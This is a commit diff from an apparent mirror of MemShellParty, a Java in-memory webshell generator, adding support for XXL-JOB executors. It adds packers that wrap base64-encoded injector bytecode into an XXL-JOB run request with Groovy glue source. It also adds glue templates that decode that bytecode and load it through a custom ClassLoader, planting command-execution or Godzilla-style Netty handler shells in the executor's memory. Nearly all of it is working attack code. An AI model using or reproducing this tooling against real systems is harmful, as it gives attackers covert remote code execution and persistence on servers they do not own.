mirror of
https://github.com/ReaJason/MemShellParty.git
synced 2026-09-22 07:00:43 +08:00
feat: support xxl-job executor NettyHandler (#30)
Only support jdk8, in jdk11 or jdk17 env, you should use file write and use urlClassLoader to load injectorClass or else.
This commit is contained in:
@@ -0,0 +1,30 @@
|
||||
package com.reajason.javaweb.memshell;
|
||||
|
||||
import com.reajason.javaweb.memshell.springwebflux.command.CommandNettyHandler;
|
||||
import com.reajason.javaweb.memshell.springwebflux.godzilla.GodzillaNettyHandler;
|
||||
import com.reajason.javaweb.memshell.xxljob.injector.XxlJobNettyHandlerInjector;
|
||||
import org.apache.commons.lang3.tuple.Pair;
|
||||
|
||||
import java.util.Map;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2025/1/21
|
||||
*/
|
||||
public class XxlJobShell extends AbstractShell {
|
||||
public static final String NETTY_HANDLER = "NettyHandler";
|
||||
|
||||
@Override
|
||||
protected Map<String, Pair<Class<?>, Class<?>>> getCommandShellMap() {
|
||||
return Map.of(
|
||||
NETTY_HANDLER, Pair.of(CommandNettyHandler.class, XxlJobNettyHandlerInjector.class)
|
||||
);
|
||||
}
|
||||
|
||||
@Override
|
||||
protected Map<String, Pair<Class<?>, Class<?>>> getGodzillaShellMap() {
|
||||
return Map.of(
|
||||
NETTY_HANDLER, Pair.of(GodzillaNettyHandler.class, XxlJobNettyHandlerInjector.class)
|
||||
);
|
||||
}
|
||||
}
|
||||
@@ -1,7 +1,9 @@
|
||||
package com.reajason.javaweb.memshell.config;
|
||||
|
||||
import lombok.AllArgsConstructor;
|
||||
import lombok.Builder;
|
||||
import lombok.Data;
|
||||
import lombok.NoArgsConstructor;
|
||||
import org.apache.commons.codec.binary.Base64;
|
||||
|
||||
/**
|
||||
@@ -9,6 +11,8 @@ import org.apache.commons.codec.binary.Base64;
|
||||
* @since 2024/11/24
|
||||
*/
|
||||
@Data
|
||||
@NoArgsConstructor
|
||||
@AllArgsConstructor
|
||||
@Builder(builderClassName = "GenerateResultBuilder")
|
||||
public class GenerateResult {
|
||||
private String shellClassName;
|
||||
|
||||
@@ -81,6 +81,11 @@ public enum Server {
|
||||
* 中创中间件
|
||||
*/
|
||||
InforSuite(new InforSuiteShell()),
|
||||
|
||||
/**
|
||||
* XXL-JOB
|
||||
*/
|
||||
XXLJOB(new XxlJobShell())
|
||||
;
|
||||
|
||||
private final AbstractShell shell;
|
||||
|
||||
@@ -87,6 +87,10 @@ public interface Packer {
|
||||
|
||||
|
||||
AgentJar(new AgentJarPacker()),
|
||||
|
||||
XxlJob(new XxlJobPacker()),
|
||||
|
||||
XxlJob230(new XxlJob230Packer()),
|
||||
;
|
||||
private final Packer packer;
|
||||
|
||||
|
||||
@@ -0,0 +1,47 @@
|
||||
package com.reajason.javaweb.memshell.packer;
|
||||
|
||||
import com.alibaba.fastjson2.JSONObject;
|
||||
import com.alibaba.fastjson2.JSONWriter;
|
||||
import com.reajason.javaweb.memshell.config.GenerateResult;
|
||||
import org.apache.commons.io.IOUtils;
|
||||
|
||||
import java.io.IOException;
|
||||
import java.nio.charset.Charset;
|
||||
import java.util.Objects;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2025/1/21
|
||||
*/
|
||||
public class XxlJob230Packer implements Packer {
|
||||
String template = "";
|
||||
|
||||
public XxlJob230Packer() {
|
||||
try {
|
||||
template = IOUtils.toString(Objects.requireNonNull(this.getClass().getResourceAsStream("/XXL-Job-DefineClass-230.java")), Charset.defaultCharset());
|
||||
} catch (IOException ignored) {
|
||||
|
||||
}
|
||||
}
|
||||
|
||||
@Override
|
||||
public String pack(GenerateResult generateResult) {
|
||||
String source = template
|
||||
.replace("{{base64Str}}", generateResult.getInjectorBytesBase64Str())
|
||||
.replace("{{className}}", generateResult.getInjectorClassName());
|
||||
JSONObject jsonObject = new JSONObject();
|
||||
jsonObject.put("jobId", 1);
|
||||
jsonObject.put("executorHandler", "demoJobHandler");
|
||||
jsonObject.put("executorParams", "demoJobHandler");
|
||||
jsonObject.put("executorBlockStrategy", "COVER_EARLY");
|
||||
jsonObject.put("executorTimeout", 0);
|
||||
jsonObject.put("logId", 1);
|
||||
jsonObject.put("logDateTime", System.currentTimeMillis());
|
||||
jsonObject.put("glueType", "GLUE_GROOVY");
|
||||
jsonObject.put("glueSource", source);
|
||||
jsonObject.put("glueUpdatetime", System.currentTimeMillis());
|
||||
jsonObject.put("broadcastIndex", 0);
|
||||
jsonObject.put("broadcastTotal", 0);
|
||||
return JSONObject.toJSONString(jsonObject, JSONWriter.Feature.PrettyFormat);
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,47 @@
|
||||
package com.reajason.javaweb.memshell.packer;
|
||||
|
||||
import com.alibaba.fastjson2.JSONObject;
|
||||
import com.alibaba.fastjson2.JSONWriter;
|
||||
import com.reajason.javaweb.memshell.config.GenerateResult;
|
||||
import org.apache.commons.io.IOUtils;
|
||||
|
||||
import java.io.IOException;
|
||||
import java.nio.charset.Charset;
|
||||
import java.util.Objects;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2025/1/21
|
||||
*/
|
||||
public class XxlJobPacker implements Packer {
|
||||
String template = "";
|
||||
|
||||
public XxlJobPacker() {
|
||||
try {
|
||||
template = IOUtils.toString(Objects.requireNonNull(this.getClass().getResourceAsStream("/XXL-Job-DefineClass.java")), Charset.defaultCharset());
|
||||
} catch (IOException ignored) {
|
||||
|
||||
}
|
||||
}
|
||||
|
||||
@Override
|
||||
public String pack(GenerateResult generateResult) {
|
||||
String source = template
|
||||
.replace("{{base64Str}}", generateResult.getInjectorBytesBase64Str())
|
||||
.replace("{{className}}", generateResult.getInjectorClassName());
|
||||
JSONObject jsonObject = new JSONObject();
|
||||
jsonObject.put("jobId", 1);
|
||||
jsonObject.put("executorHandler", "demoJobHandler");
|
||||
jsonObject.put("executorParams", "demoJobHandler");
|
||||
jsonObject.put("executorBlockStrategy", "COVER_EARLY");
|
||||
jsonObject.put("executorTimeout", 0);
|
||||
jsonObject.put("logId", 1);
|
||||
jsonObject.put("logDateTime", System.currentTimeMillis());
|
||||
jsonObject.put("glueType", "GLUE_GROOVY");
|
||||
jsonObject.put("glueSource", source);
|
||||
jsonObject.put("glueUpdatetime", System.currentTimeMillis());
|
||||
jsonObject.put("broadcastIndex", 0);
|
||||
jsonObject.put("broadcastTotal", 0);
|
||||
return JSONObject.toJSONString(jsonObject, JSONWriter.Feature.PrettyFormat);
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,30 @@
|
||||
import com.xxl.job.core.handler.IJobHandler;
|
||||
|
||||
import java.util.Base64;
|
||||
|
||||
public class DemoGlueJobHandler extends IJobHandler {
|
||||
|
||||
public static class Definder extends ClassLoader {
|
||||
public Definder() {
|
||||
super(Thread.currentThread().getContextClassLoader());
|
||||
}
|
||||
|
||||
public Class<?> defineClass(byte[] bytes) {
|
||||
return defineClass(null, bytes, 0, bytes.length);
|
||||
}
|
||||
}
|
||||
|
||||
public void execute() throws Exception {
|
||||
String base64Str = "{{base64Str}}";
|
||||
String className = "{{className}}";
|
||||
try {
|
||||
Class.forName(className);
|
||||
} catch (ClassNotFoundException e) {
|
||||
try {
|
||||
new Definder().defineClass(Base64.getDecoder().decode(base64Str)).newInstance();
|
||||
} catch (Throwable ee) {
|
||||
ee.printStackTrace();
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,42 @@
|
||||
import com.xxl.job.core.biz.model.ReturnT;
|
||||
import com.xxl.job.core.handler.IJobHandler;
|
||||
|
||||
public class DemoGlueJobHandler extends IJobHandler {
|
||||
|
||||
public static class Definder extends ClassLoader {
|
||||
public Definder() {
|
||||
super(Thread.currentThread().getContextClassLoader());
|
||||
}
|
||||
|
||||
public Class<?> defineClass(byte[] bytes) {
|
||||
return defineClass(null, bytes, 0, bytes.length);
|
||||
}
|
||||
}
|
||||
|
||||
public ReturnT<String> execute(String param) throws Exception {
|
||||
String base64Str = "{{base64Str}}";
|
||||
String className = "{{className}}";
|
||||
try {
|
||||
Class.forName(className);
|
||||
} catch (ClassNotFoundException e) {
|
||||
try {
|
||||
new Definder().defineClass(decodeBase64(base64Str)).newInstance();
|
||||
} catch (Throwable ee) {
|
||||
ee.printStackTrace();
|
||||
}
|
||||
}
|
||||
return ReturnT.SUCCESS;
|
||||
}
|
||||
|
||||
public static byte[] decodeBase64(String base64Str) throws Exception {
|
||||
Class<?> decoderClass;
|
||||
try {
|
||||
decoderClass = Class.forName("java.util.Base64");
|
||||
Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
|
||||
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
|
||||
} catch (Exception ignored) {
|
||||
decoderClass = Class.forName("sun.misc.BASE64Decoder");
|
||||
return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
|
||||
}
|
||||
}
|
||||
}
|
||||
Reference in New Issue
Block a user